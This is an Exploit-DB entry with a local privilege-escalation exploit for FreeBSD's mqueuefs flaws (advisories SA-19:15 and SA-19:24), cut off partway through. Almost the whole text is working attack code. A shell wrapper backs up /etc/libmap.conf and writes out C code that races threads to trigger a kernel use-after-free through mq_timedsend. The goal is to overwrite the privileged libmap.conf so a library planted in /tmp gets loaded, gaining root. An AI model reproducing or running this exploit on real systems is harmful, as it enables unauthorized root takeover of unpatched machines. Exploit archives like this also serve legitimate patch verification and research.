Exploit-DB #47830
Description: FreeBSD-SA-19:15.mqueuefs - Privilege Escalation
Type: local
Platform: freebsd
Date: 2019-12-30
Author: Karsten König

Exploit:
# Exploit: FreeBSD-SA-19:15.mqueuefs - Privilege Escalation
# Author: Karsten König of Secfault Security
# Date: 2019-12-30
# Change line 719 to choose which vulnerability
# is targeted
#
# libmap.conf primitive inspired by kcope's 2005 exploit for Qpopper
# Exploit for FreeBSD-SA-19:15.mqueuefs and
# FreeBSD-SA-19:24.mqueu
#!/bin/sh

echo "[+] Root Exploit for FreeBSD mqueuefs vulnerabilities"

umask 0000

# libmap.conf has to exist because it is
# the attacked file
if [ ! -f /etc/libmap.conf ]; then
    echo "[!] libmap.conf has to exist"
    exit
fi

# Make a backup of the current libmap.conf
# because it has to be reconstructed afterwards
cp /etc/libmap.conf ./

# Write the exploit to a C file
cat > exploit.c << EOF
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <pthread_np.h>
#include <signal.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/cpuset.h>
#include <sys/event.h>
#include <sys/ioctl.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/sysctl.h>
#include <sys/_types.h>
#include <sys/types.h>
#include <sys/un.h>

#define N_OPEN 0x2

// Tweak NUM_THREADS and NUM_FORKS if
// more RAM is available on the target
//
// These parameters were tested with
// up to 16 GB of RAM on a dual-core
// Intel based system
#define N 1000000
#define NUM_THREADS 600
#define NUM_FORKS 3
#define FILE_SIZE 1024
#define CHUNK_SIZE 1
#define N_FILES 25

// These are temporary files
// which are created during
// exploitation
#define SERVER_PATH "/tmp/sync_forks"
#define DEFAULT_PATH "/tmp/pwn"
#define HAMMER_PATH "/tmp/pwn2"

// This is the attacked file
#define ATTACK_PATH "/etc/libmap.conf"

// These are parameters from the attack script
#define HOOK_LIB "libutil.so.9"
#define ATTACK_LIB "/tmp/libno_ex.so.1.0"

// The exploit will stick some threads
// to specific cores
#define CORE_0 0
#define CORE_1 1

// Syscalls from mqueuefs
#define KMQ_OPEN 457
#define KMQ_TIMEDSEND 460

// Taken from sys/mqueue.h
struct mq_attr {
    long    mq_flags;
    long    mq_maxmsg;
    long    mq_msgsize;
    long    mq_curmsgs;
    long    __reserved[4];
};

struct thread_data {
    int fd;
    int fd2;
};

pthread_mutex_t write_mtx, trigger_mtx, count_mtx, hammer_mtx;
pthread_cond_t write_cond, trigger_cond, count_cond, hammer_cond;

// Both syscalls are indirectly called to be less reliable on
// installed libraries
int mq_open(const char *name, int oflag, mode_t mode,
            const struct mq_attr *attr)
{
    int fd;
    fd = syscall(KMQ_OPEN, name, oflag, mode, attr);
    return fd;
}

void mq_timedsend(int fd, char *buf, size_t len,
		 unsigned prio, const struct timespec *timeout)
{
    syscall(KMQ_TIMEDSEND, fd, buf, len, prio, timeout);
}

// Convenience function to open temporary files
int open_tmp(char *path)
{
    int fd;
    char *real_path;

    if (path != NULL) {
	real_path = malloc(strlen(path) + 1);
	strcpy(real_path, path);
    }
    else {
	real_path = malloc(strlen(DEFAULT_PATH) + 1);
	strcpy(real_path, DEFAULT_PATH);
    }

    if ((fd = open(real_path, O_RDWR | O_CREAT, S_IRWXU)) == -1) {
	perror("[!] open");
    }
    
    return fd;
}

// Convenience function to prepare a UNIX domain socket
void prepare_domain_socket(struct sockaddr_un *remote, char *path) {
    bzero(remote, sizeof(struct sockaddr_un));
    remote->sun_family = AF_UNIX;
    strncpy(remote->sun_path, path, sizeof(remote->sun_path));
}

// Convenience function to bind a UNIX domain socket
int bind_domain_socket(struct sockaddr_un *remote) {
    int server_socket;
    
    if ((server_socket = socket(AF_UNIX, SOCK_DGRAM, 0)) == -1) {
	perror("[!] socket");
	exit(1);
    }

    if (bind(server_socket, 
	     (struct sockaddr *) remote, 
	     sizeof(struct sockaddr_un)) != 0) {
	perror("[!] bind");
	exit(1);
    }

    return server_socket;
}

// Convenience function to connect to a UNIX domain socket
int connect_domain_socket_client() {
    int client_socket;
    
    if ((client_socket = socket(AF_UNIX, SOCK_DGRAM, 0)) == -1) {
	perror("[!] socket");
	exit(1);
    }

    return client_socket;
}

// Prevent panic at termination because f_count of the
// corrupted struct file is 0 at the moment this function
// is called but open file descriptors still points to the struct,
// hence fdrop() is called at exit of the program and will raise a
// kernel panic because f_count will be below 0
//
// So we just use our known primitive to increase f_count
void prevent_panic(int fd)
{
    mq_timedsend(fd, NULL, 0, 0, (const struct timespec *)0x1);
    mq_timedsend(fd, NULL, 0, 0, (const struct timespec *)0x1);
    mq_timedsend(fd, NULL, 0, 0, (const struct timespec *)0x1);
}

// Convenience function to stick a thread to a CPU core
int stick_thread_to_core(int core) {
    cpuset_t cpuset;
    CPU_ZERO(&cpuset);
    CPU_SET(core, &cpuset);
    
    pthread_t current_thread = pthread_self();    
    return pthread_setaffinity_np(current_thread, sizeof(cpuset_t), &cpuset);
}

// This function will trigger the use-after-free
void *trigger_uaf(void *thread_args) {
    struct thread_data *thread_data;
    int fd, fd2;

    if (stick_thread_to_core(CORE_0) != 0) {
	perror("[!] [!] trigger_uaf: Could not stick thread to core");
    }
    
    thread_data = (struct thread_data *)thread_args;
    fd = thread_data->fd;
    fd2 = thread_data->fd2;

    printf("[+] trigger_uaf: fd: %d\n", fd);
    printf("[+] trigger_uaf: fd2: %d\n", fd2);

    // The thread has to wait for the preparation of the
    // race condition
    printf("[+] trigger_uaf: Waiting for start signal from monitor\n");
    pthread_mutex_lock(&trigger_mtx);
    pthread_cond_wait(&trigger_cond, &trigger_mtx);

    // This sleep param